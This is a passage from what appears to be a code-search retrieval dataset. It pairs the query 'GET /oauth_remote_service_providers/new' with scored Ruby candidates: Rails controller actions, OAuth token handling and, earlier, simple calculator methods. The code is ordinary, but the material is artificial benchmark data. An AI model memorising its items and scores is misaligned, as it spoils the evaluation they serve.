"9f676cb41b386a4cb41869f456df10da", "score": "0.6713643", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n\nend", "title": "" }, { "docid": "0b39d44e5ad78f37d5143c50f1161596", "score": "0.6703129", "text": "def basic_calculator \n\tputs \"Welcome to the basic calculator.\"\n\tputs \"Please select your operation:\"\n\tputs \"(a) - addition\"\n\tputs \"(s) - subtraction\"\n\tputs \"(d) - division\"\n\tputs \"(m) - multiplication\"\n\n\toperation = gets.chomp\n\tputs \"Enter your first number\"\n\tnum_1 = gets.chomp.to_f\n\tputs \"Enter your second number\"\n\tnum_2 = gets.chomp.to_f\n\n\tcase operation\n\twhen 'a'\n\t\tadd num_1, num_2\n\twhen 's'\n\t\tsubtract num_1, num_2\n\twhen 'd'\n\t\tdivide num_1, num_2\n\twhen 'm'\n\t\tmultiply num_1, num_2\n\tend\nend", "title": "" }, { "docid": "7d9a52257c9db6f919edb0070d1c3611", "score": "0.67006105", "text": "def operator_case_test \n case @operator \n when \"+\"\n puts \"accepted\"\n second_number_function \n when \"-\"\n puts \"accepted\"\n second_number_function\n when \"/\"\n puts \"accepted\"\n second_number_function \n when \"*\" \n puts \"accepted\"\n second_number_function \n else puts \"Operator not recognized.\"\n operator_function \n end \nend", "title": "" }, { "docid": "785c638602b3ead2cc9316731f9a412e", "score": "0.6695521", "text": "def fraction_calculator fraction_one, fraction_two, operator\n num_one = Rational(fraction_one)\n num_two = Rational(fraction_two)\n \n final_result = case operator\n when '/' then num_one / num_two\n when '*' then num_one * num_two\n when '+' then num_one + num_two\n when '-' then num_one - num_two\n end\n\n String(final_result)\n\n print String(final_result)\n\nend", "title": "" }, { "docid": "a1bb6462776ccd90f38a18e57744ab06", "score": "0.66827655", "text": "def convertArithmetic(op)\n case op\n\n #basic arithmetic operations\n when \"add\"\n cmds = \"//add\"+\"\\n\" + arithmeticBinary(\"+\")\n\n when \"sub\"\n cmds = \"//subtract\"+\"\\n\" +arithmeticBinary(\"-\")\n\n when \"neg\"\n cmds = \"//negate\" +\"\\n\"+arithmeticUnary(\"-\")\n\n #basic bitwise operations\n when \"and\"\n cmds = \"//and\" +\"\\n\"+arithmeticBinary(\"&\")\n\n when \"or\"\n cmds = \"//or\" +\"\\n\"+arithmeticBinary(\"|\")\n\n when \"not\"\n cmds = \"//not\" +\"\\n\"+arithmeticUnary(\"!\")\n else\n cmds = \"//not a legal command\"\n end\n\n return cmds\nend", "title": "" }, { "docid": "85c1b184288372b9b22efa37009f2c1d", "score": "0.66781396", "text": "def basic_calculator\n\tputs \"Welcome to the basic calculator.\"\n\tputs \"Please select your operation.\"\n\tputs \"(a) is for addition\"\n\tputs \"(s) is for subtraction\"\n\tputs \"(d) is for division\"\n\tputs \"(m) is for multiplicaiton\"\n\n\toperation = gets.chomp\n\tputs \"Enter your first number\"\n\tnum1 = gets.chomp.to_f\n\tputs \"Enter your second number\"\n\tnum2 = gets.chomp.to_f\n\n\tcase operation\n\twhen 'a'\n\t\tadd num1, num2\n\twhen 's'\n\t\tsubract num1, num2\n\twhen 'd'\n\t\tdivide num1, num2\n\twhen 'm'\n\t\tmultiply num1, num2\n\tend\nend", "title": "" }, { "docid": "3021063c3593728881a0c56b99a8f2be", "score": "0.6670741", "text": "def calculate(f, a, b)\n if [\"addition\", \"+\"].include?(f)\n add(a, b)\n elsif [\"subtraction\", \"-\"].include?(f)\n subtract(a, b)\n elsif [\"multiplication\", \"*\"].include?(f)\n multiply(a, b)\n elsif [\"division\", \"÷\", \"/\"].include?(f)\n divide(a, b)\n elsif [\"exponent\", \"^\"].include?(f)\n exponent(a, b)\n elsif [\"square root\", \"√\"].include?(f)\n sqr_root(a)\n end\nend", "title": "" }, { "docid": "9535af7b8dde9a4c89100ed613407c9a", "score": "0.6669407", "text": "def do_math(a, b, &operation)\n math(a, b, &operation)\nend", "title": "" }, { "docid": "9535af7b8dde9a4c89100ed613407c9a", "score": "0.6669407", "text": "def do_math(a, b, &operation)\n math(a, b, &operation)\nend", "title": "" }, { "docid": "68c9549dc43b1aeb5be4c885308569e8", "score": "0.6659177", "text": "def calculations (operator, num1, num2)\n case operator\n when \"addition\", \"add\", \"+\"\n results = num1 + num2\n puts \"Your answer is: \" + results.to_s\n when \"subtraction\", \"subtract\", \"-\"\n results = num1 - num2\n puts \"Your answer is: \" + results.to_s\n when \"multiplication\", \"multiply\", \"*\"\n results = num1 * num2\n puts \"Your answer is: \" + results.to_s\n when \"division\", \"divide\", \"/\"\n #check to see if user is trying to divide by 0\n if num2 == 0\n #if num2 is 0, then tell user, not possible. That's rude and exit program. \n puts \"Looks like you're trying to divide by 0. You know that's mean. BYE BYE FELICIA!\"\n exit \n #else calculate \n results = num1 / num2\n puts \"Your answer is: \" + results.to_s\n end \n end \nend", "title": "" }, { "docid": "3ac11325c8ac408ebdaa03a561aed784", "score": "0.66321623", "text": "def computer(english)\n operation = english.split(\" \")\n result = NUM_VALUES[operation[0]]\n n = 0\n\n operation.size.times do \n case operation[n]\n when \"plus\"\n result += NUM_VALUES[operation[n + 1]]\n when \"minus\"\n result -= NUM_VALUES[operation[n + 1]]\n end\n n += 1\n end\n\n result\nend", "title": "" }, { "docid": "b1e7d79a01235e4a8a9200244fd1fa8a", "score": "0.66284347", "text": "def add(num1, num2)\n my_result = (num1 + num2)\n \nend", "title": "" }, { "docid": "9edb23fdd1a8d4a6d36786a26419fb3e", "score": "0.662708", "text": "def math_eval(str)\n # iterate over string values\n # perhaps utilize a queue till you hit a symbol?\n # left operand and right operand (do we care about order of operations?)\n copy = str\n total = 0\n tokens = []\n\n copy.chars.each_with_index do |ch, idx|\n if ch == '*' || ch == '/' || ch == '+' || ch == '-'\n divided = str.split(ch)\n tokens << divided.shift.to_i\n tokens << ch\n copy = divided\n end\n if idx == copy.length - 1\n tokens << copy\n end\n # break if ch.match(/()+\\-*/) && operator != ''\n # operator = ch.match(/()+\\-*/)\n # left_operand = ch if ch.match(/0-9/) && operator == ''\n # right_operand += ch if ch.match(/0-9/) && operator != ''\n end\n return tokens\n\n p \"operator: #{operator}, left_operand: #{left_operand}, right_operand: #{right_operand}\"\n return left_operand.to_i if operator == ''\n return left_operand.to_i + right_operand.to_i if operator == '+'\n return left_operand.to_i - right_operand.to_i if operator == '-'\n return left_operand.to_i / right_operand.to_i if operator == '/'\n return left_operand.to_i * right_operand.to_i if operator == '*'\nend", "title": "" }, { "docid": "4c267682a6c5f38d0f73a61fde507a40", "score": "0.66215163", "text": "def arthamatic_operation(number)\n\tnumber + 3\nend", "title": "" }, { "docid": "0947204a68fc4707d30c9904b99ca81d", "score": "0.66196585", "text": "def calculate(a,b,c)\n s = a * b* c \n end", "title": "" }, { "docid": "4dfb58e01795722cf6ff55c1eaaf4e51", "score": "0.66138035", "text": "def my_math_method(num1, num2)\n number = num1 + num2\n puts number\nend", "title": "" }, { "docid": "ddec8e4d3e67b566ba13b4b832c263d0", "score": "0.66128993", "text": "def calculate\n (2 + 2) * 2\nend", "title": "" }, { "docid": "149d2b5865fb3cb47f9cf98ef9d90878", "score": "0.66075075", "text": "def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end", "title": "" }, { "docid": "69cc95e40e6624506ce3a531bde4eb45", "score": "0.66024876", "text": "def basic_calculator\n\tputs \"Welcome to the basic calculator\"\n\tputs \"Please select your operation\"\n\tputs \"(a) - addition\"\n\tputs \"(s) - substraction\"\n\tputs \"(d) - division\"\n\tputs \"(m) - multiplication\"\n\n\toperation = gets.chomp\n\tputs \"Enter your first number\"\n\tnum1 = gets.chomp.to_f\n\tputs \"Enter your second number\"\n\tnum2 = gets.chomp.to_f\n\n\tcase operation \n\twhen 'a'\n\t\tadd num1, num2\n\twhen 's'\n\t\tsubstract num1, num2\n\twhen 'd'\n\t\tdivide num1, num2\n\twhen 'm'\n\t\tmultiply num1, num2\n\tend\nend", "title": "" }, { "docid": "0c4203f5f8f396e37ddac73166e5f79f", "score": "0.65988904", "text": "def calculate( op, a1, a2 = nil )\n case op\n when :abs; a2\n when :rel; a2\n when :mul; a1 * a2\n when :add; a1 + a2\n when :sub; a1 - a2\n when :inv; a1 * -1\n else 0\n end\n end", "title": "" }, { "docid": "d9c1b75a67aebe218d417930c9012916", "score": "0.6597386", "text": "def operators\n {\n \"+\" => -> {@num1 + @num2},\n \"-\" => -> {@num1 - @num2}\n }\n end", "title": "" }, { "docid": "b5e8e8515445dceadc3e1bc73d48cb35", "score": "0.6579798", "text": "def calculate operator, num1, num2\n puts \"#{num1} #{operator} #{num2} = #{num1.send(operator, num2)}\"\nend", "title": "" }, { "docid": "b6c77064e834abcb2a809e27a9f3d571", "score": "0.6577792", "text": "def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end", "title": "" }, { "docid": "c82fff8dbdc4f0f3a47a0aa9d44d7ddc", "score": "0.6562639", "text": "def input_process (*args)\n if(args.size == 1)\n input = args[0]\n operation = input.initial\n elsif(args.size == 2)\n input = args[1]\n operation = input[0]\n else\n return\n end\n \n total = get_numbers(input, operation)\n\n if operation == \"+\"\n $totalvalue += addition(*total)\n elsif operation == \"-\"\n $totalvalue += subtraction(*total)\n elsif operation == \"*\"\n $totalvalue = multiplication($totalvalue, *total)\n elsif operation == \"/\"\n $totalvalue = division($totalvalue, *total)\n end\n total.clear\nend", "title": "" }, { "docid": "6970b673e9014337a4ba2aa713308d26", "score": "0.65595174", "text": "def my_math_method(num1, num2)\n\tnumber = num1 + num2\n\tputs number\nend", "title": "" }, { "docid": "6970b673e9014337a4ba2aa713308d26", "score": "0.65595174", "text": "def my_math_method(num1, num2)\n\tnumber = num1 + num2\n\tputs number\nend", "title": "" }, { "docid": "702782f931870834c6ec02b5fe4d64ca", "score": "0.65573287", "text": "def operation_select\n puts \"Which operator would you like to use?\"\n puts \"1. add(+)\"\n puts \"2. subtract(-)\"\n puts \"3. multiply(*)\"\n puts \"4. divide(/)\"\n puts \"5. power(^)\"\n puts \"6. modulo(%)\"\n puts \"Please choose one operator (type name or symbol):\"\n operation = gets.chomp\n numeric_input(operation)\nend", "title": "" } ]
f2f5c15a88913634d607367315194111
GET /oauth_remote_service_providers/new GET /oauth_remote_service_providers/new.xml
[ { "docid": "3e634cc90d969cf67a0a4ef3f4eebec7", "score": "0.8012521", "text": "def new\n @oauth_remote_service_provider = OauthRemoteServiceProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @oauth_remote_service_provider }\n end\n end", "title": "" } ]
[ { "docid": "8cacbee4273423eedb42761f85d567fd", "score": "0.7225985", "text": "def create\n @oauth_remote_service_provider = OauthRemoteServiceProvider.new(params[:oauth_remote_service_provider])\n\n respond_to do |format|\n if @oauth_remote_service_provider.save\n flash[:notice] = 'OauthRemoteServiceProvider was successfully created.'\n format.html { redirect_to(@oauth_remote_service_provider) }\n format.xml { render :xml => @oauth_remote_service_provider, :status => :created, :location => @oauth_remote_service_provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @oauth_remote_service_provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1be39ee619d106acc7fa0e95a02ada7a", "score": "0.72063315", "text": "def new\n begin\n provider = OauthRemoteServiceProvider.find(params[:oauth_remote_service_provider_id])\n consumer = OAuth::Consumer.new(provider.consumer_key, \n provider.consumer_secret,\n {:site => provider.site_url})\n # contact the remote service, for request token, returns request token object\n request_token = consumer.get_request_token\n # this means one pending oauth request peruser, might want to replace with db table\n session[:pending_oauth_access_request] = {:provider_id => params[:oauth_remote_service_provider_id], \n :request_token => request_token }\n # redirect to providers site for user authentication\n respond_to do |format|\n format.html { redirect_to(request_token.authorize_url) }\n format.xml { redirect_to(request_token.authorize_url) }\n end\n rescue ActiveRecord::RecordNotFound # raised if cannot find remote provider\n redirect_to_error\n rescue Net::HTTPServerException => e # consumer not setup properlly, key or secret are faulty\n redirect_to_error\n rescue Errno::ETIMEDOUT => e # network failure with provider, possibly due to bad url\n redirect_to_error\n end\n end", "title": "" }, { "docid": "e4316a6ee61d8ae7b63fc258cdc313bf", "score": "0.6369682", "text": "def new\n @provider = Provider.new\n @provider.build_address\n @services = Service.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "643526753cb62264ffe01105b6167b82", "score": "0.62607044", "text": "def show\n @oauth_remote_service_provider = OauthRemoteServiceProvider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @oauth_remote_service_provider }\n end\n end", "title": "" }, { "docid": "469f45ed482afaf7423e20b4e5f84045", "score": "0.62068677", "text": "def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "4f0bef714f3b886835f6e4735f86612b", "score": "0.6162842", "text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end", "title": "" }, { "docid": "7f36ca117d8960111dc0b5ceaf444813", "score": "0.6087077", "text": "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "4efdcc412e63f51f2520e54d3de8c98e", "score": "0.5952761", "text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "4efdcc412e63f51f2520e54d3de8c98e", "score": "0.5952761", "text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "b08c13e63e13f5360256fa7917e43bed", "score": "0.5908406", "text": "def new\n @oauth_token = OauthToken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @oauth_token }\n end\n end", "title": "" }, { "docid": "d80693570e5e077a8fddc76e83399755", "score": "0.58469594", "text": "def new\n @provider_stat = ProviderStat.new\n @provider = Provider.find(params[:id])\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_stat }\n end\n end", "title": "" }, { "docid": "146d4d1fd30cc8405b3592d947fac59e", "score": "0.5841887", "text": "def new\n @provider = Provider.new\n @provider.locations.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end", "title": "" }, { "docid": "176533801f5593d590e0eccab7d76661", "score": "0.58112967", "text": "def new\n @cloud_provider = current_user.cloud_providers.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloud_provider }\n end\n end", "title": "" }, { "docid": "9e89b386e7c04aff21b34c1cd32c1ab1", "score": "0.58027315", "text": "def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n flash[:notice] = 'Provider was successfully created.'\n format.html { redirect_to providers_path }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a7755a08e1783e2bd61b713f998a773", "score": "0.5769509", "text": "def create\n begin\n token = session[:pending_oauth_access_request][:request_token].get_access_token\n provider_id = session[:pending_oauth_access_request][:provider_id]\n respond_to do |format|\n if OauthRemoteAccessToken.create(:token_object => token,\n :oauth_remote_service_provider_id => provider_id,\n :user_id => current_user.id)\n clear_request_session_info\n flash[:notice] = \"You have sucessfully authorized us to use this service.\"\n format.html { redirect_to(oauth_remote_access_tokens_url) }\n format.xml { render :xml => @oauth_remote_access_token, :status => :created, :location => @oauth_remote_access_token }\n else\n flash[:notice] = \"There was a problem creating this token.\"\n format.html { redirect_to(oauth_remote_access_tokens_url) }\n format.xml { render :xml => @oauth_remote_access_token.errors, :status => :unprocessable_entity }\n end\n end\n rescue NoMethodError # raised if session does not contain oauth_access_request key\n redirect_to_error\n rescue Net::HTTPServerException => e # raised by get token if authorization declined by user\n redirect_to_error\n rescue Errno::ETIMEDOUT => e # network failure with provider, possibly due to bad url\n redirect_to_error\n end\n end", "title": "" }, { "docid": "a2ae20001389df0851e8d95295d0f021", "score": "0.57329285", "text": "def new\n @provider_type = ProviderType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_type }\n end\n end", "title": "" }, { "docid": "2f8bdbf362a3b0f6e316a1f8fc4de569", "score": "0.57260865", "text": "def create\n @provider = Provider.new(params[:provider])\n @services = Service.all\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_path, notice: 'As informacoes foram salvas com sucesso.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5427e5b41fa953de8087eb80b0df23f", "score": "0.5665443", "text": "def new\n @provider_group = ProviderGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_group }\n end\n end", "title": "" }, { "docid": "5143394342898f7e870b08e953302f3d", "score": "0.56459475", "text": "def new\n\t\t@provider_accounts = provider_accounts_for_user\n @server_profile_revision = ServerProfileRevision.new\n @users = User.find(:all, :order => :login)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server_profile_revision }\n format.js\n end\n end", "title": "" }, { "docid": "4c424a5b0937f3b39f077cc1af63e777", "score": "0.56434494", "text": "def create\n @provider = current_company.providers.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a83173640f77272bfb6f58a0a65c7e67", "score": "0.5629597", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "title": "" }, { "docid": "009c696dfee7130419db880f08ddb14e", "score": "0.5620471", "text": "def new_provider(port,bool)\n stub_framework(bool)\n fill_in \"provider[name]\", :with => \"ec2-testprovider\"\n fill_in \"provider[url]\", :with => \"http://localhost:#{port}/api\"\n select(\"Amazon EC2\", :from => \"provider_provider_type_id\")\n click_button \"Create Provider\"\nend", "title": "" }, { "docid": "42f1f8c80a4ad2ebcf2e215595ada654", "score": "0.5616699", "text": "def create\n @title = t('view.providers.new_title')\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: t('view.providers.correctly_created') }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e1231ef95acf6d60a700abb1f3f9fad", "score": "0.5547203", "text": "def new\r\n @provider = Provider.new\r\n render_new\r\n end", "title": "" }, { "docid": "bb649327c994be989dfb129c7e02ba22", "score": "0.5518147", "text": "def new\n @provider_role = ProviderRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_role }\n end\n end", "title": "" }, { "docid": "7cc537cebd912998738fd0d600125205", "score": "0.5480217", "text": "def new\n @email_service_provider = EmailServiceProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_service_provider }\n end\n end", "title": "" }, { "docid": "0053747161be15a1a36b054271ec2e67", "score": "0.5469376", "text": "def test_new\n %w(email address twitter facebook google linkedin xing).each do |provider|\n get :new, :provider => provider\n assert_response :success\n assert_template 'new'\n assert assigns(:identity).new_record?\n assert assigns(:identity).kind_of?(Identity.provider(provider.to_sym))\n end\n end", "title": "" }, { "docid": "352d671bcacf09408572e5063ddcafcc", "score": "0.5468394", "text": "def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b06d19938878c49adc6e392e48906cd", "score": "0.5461199", "text": "def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dbdc2d4c79250e26a2b055d17b59894a", "score": "0.5432429", "text": "def new\n self.default_provider.new\n end", "title": "" }, { "docid": "fc59f86c608f412aa38702bbf8e72b83", "score": "0.5430883", "text": "def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2c5a8b62a09cd2caebc52e2da9ee273c", "score": "0.5430432", "text": "def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9344fb7941e0b479ef88134e5accdd8e", "score": "0.54218835", "text": "def new\n @provider = Provider.new\n end", "title": "" }, { "docid": "20fa4f9f2853b0f32b647adc541855d5", "score": "0.5416789", "text": "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end", "title": "" }, { "docid": "2d952c50aa3c44dc06609263d1ef051f", "score": "0.53465396", "text": "def new\n @verifier = params[:oauth_verifier]\n render \"oauth/new\"\n end", "title": "" }, { "docid": "149218cb8c8825f31cb595ecf99b4322", "score": "0.53460693", "text": "def create\n @service_provider = ServiceProvider.new(service_provider_params)\n\n respond_to do |format|\n if @service_provider.save\n format.html { redirect_to @service_provider, notice: \"Service provider was successfully created.\" }\n format.json { render :show, status: :created, location: @service_provider }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @service_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f7585ba31f64a1eee6ba16ee812b0ee", "score": "0.5340863", "text": "def create_new_admin\n @provider = Provider.new\n end", "title": "" }, { "docid": "35c9ecec4612cc933d2c98b588bc19fe", "score": "0.5322654", "text": "def new\n @final_service = FinalService.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @final_service }\n end\n end", "title": "" }, { "docid": "5f7abd7ad25c9ca2d93d51f3feede22e", "score": "0.5317725", "text": "def destroy\n @oauth_remote_service_provider = OauthRemoteServiceProvider.find(params[:id])\n @oauth_remote_service_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to(oauth_remote_service_providers_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ab4b60ba220c3902c7ee4dceef108fd0", "score": "0.530715", "text": "def new\n @flavours = @provider.get_flavors\n puts \"getting the flavors #{@flavours.inspect}\"\n @images = @provider.get_images\n puts \"getting the flavors #{@images.inspect}\"\n @instance = @provider.instances.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance }\n end\n end", "title": "" }, { "docid": "4e3a8234b72617fdb0656e8504665351", "score": "0.5306665", "text": "def create\n @info_provider = Info::Provider.new(info_provider_params)\n\n respond_to do |format|\n if @info_provider.save\n format.html { redirect_to @info_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @info_provider }\n else\n format.html { render :new }\n format.json { render json: @info_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22d1508c41cc222655747dea5b8c8384", "score": "0.53039014", "text": "def new\n @consumer = oauth_consumer\n \n @request_token = @consumer.get_request_token\n \n session[:request_token]=@request_token.token\n session[:request_token_secret]=@request_token.secret\n \n @authorize_url = @request_token.authorize_url({\n :oauth_consumer_key => NETFLIX_KEY,\n :application_name => NETFLIX_APP_NAME,\n :oauth_callback => url_for(:controller => :netflix, :action => :create)\n })\n \n redirect_to @authorize_url\n end", "title": "" }, { "docid": "e4fd495f19362c58707617ffc2b3ba16", "score": "0.5303801", "text": "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end", "title": "" }, { "docid": "e4fd495f19362c58707617ffc2b3ba16", "score": "0.5303801", "text": "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end", "title": "" }, { "docid": "3bd50dc112edbb67d424ed2542a51ee8", "score": "0.5295636", "text": "def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end", "title": "" }, { "docid": "36c6a56319c03427a1a8d00341fd4cb3", "score": "0.5292834", "text": "def new\n @data_provider = DataProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_provider }\n end\n end", "title": "" }, { "docid": "f7a8738e69ca0c1a1dc3eda89c6b24a0", "score": "0.5287668", "text": "def new\n @payment_provider = PaymentProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment_provider }\n end\n end", "title": "" }, { "docid": "2903dcff63534eb6ab6a7ee5232be74d", "score": "0.5273509", "text": "def new\n details = params.permit(:provider, :continue, :id)\n remove_session\n set_continue(details[:continue])\n uri = \"/auth/#{details[:provider]}\"\n\n # Support generic auth sources\n uri = \"#{uri}?id=#{details[:id]}\" if details[:id]\n redirect_to uri, :status => :see_other\n end", "title": "" }, { "docid": "5502c3c470851ad259c12d731f06a4ae", "score": "0.5270747", "text": "def new\n @url_connector = UrlConnector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url_connector }\n end\n end", "title": "" }, { "docid": "f7982c3025d3278e90c7e40cde19b89d", "score": "0.52650654", "text": "def create_url\n \"#{api_url}/gists\"\n end", "title": "" }, { "docid": "1cd3955afe954fd66cdefeb9880ff29d", "score": "0.5259915", "text": "def new\n @page_id = \"services\"\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end", "title": "" }, { "docid": "bd6df89f1ac8aa964675e38fdea9d5ba", "score": "0.5256431", "text": "def new\n @repo = Repo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repo }\n end\n end", "title": "" }, { "docid": "b37c7ab14dac363d1bacaf7b6106c9c1", "score": "0.52397263", "text": "def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end", "title": "" }, { "docid": "43fe216e48b2b7e090e089e1fe603418", "score": "0.5238526", "text": "def new\n new_url = \"#{ENV['KPASS_ENDPOINT']}/members/new?app_id=#{ENV['KPASS_APP_ID']}\"\n redirect_to new_url\n end", "title": "" }, { "docid": "4470938e36915d83c2fc75fc4abfc4e3", "score": "0.52289236", "text": "def create\n @providerservice = Providerservice.new(providerservice_params)\n\n respond_to do |format|\n if @providerservice.save\n format.html { redirect_to @providerservice, notice: 'Providerservice was successfully created.' }\n format.json { render :show, status: :created, location: @providerservice }\n else\n format.html { render :new }\n format.json { render json: @providerservice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b570d2d121c019a5668d78cfa908d707", "score": "0.5227637", "text": "def new\n @lookup_source = LookupSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_source }\n end\n end", "title": "" }, { "docid": "62563ca8b8043e424d18d31fbc7a5fe6", "score": "0.5218969", "text": "def new_http(uri); end", "title": "" }, { "docid": "d8046c68176ba525c584ab916cd88a13", "score": "0.5217449", "text": "def new\n @via = Via.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @via }\n end\n end", "title": "" }, { "docid": "c85beadd6d871b4b6a95032ee74ab623", "score": "0.5217224", "text": "def new\n @serviceorg = Serviceorg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serviceorg }\n end\n end", "title": "" }, { "docid": "1481be50975ec92f8ba284fdac5f8b63", "score": "0.52097046", "text": "def new\n @external_account = ExternalAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @external_account }\n end\n end", "title": "" }, { "docid": "94110ba7c1ecb65062a338941dcbf66e", "score": "0.5197411", "text": "def new\n @supplies_providers_loan = SuppliesProvidersLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end", "title": "" }, { "docid": "77463e33b85c8bf7c9d362cf4c60d56a", "score": "0.5194331", "text": "def create\n @provider_stat = ProviderStat.new(params[:provider_stat])\n\n respond_to do |format|\n if @provider_stat.save\n flash[:notice] = 'ProviderStat was successfully created.'\n format.html { redirect_to providers_path }\n format.xml { render :xml => @provider_stat, :status => :created, :location => @provider_stat }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e7adda6609937f5b80f40cb7a1fe8ed", "score": "0.5185302", "text": "def create\n @provider = Provider.new(provider_params)\n @provider.user_id = current_user.id\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 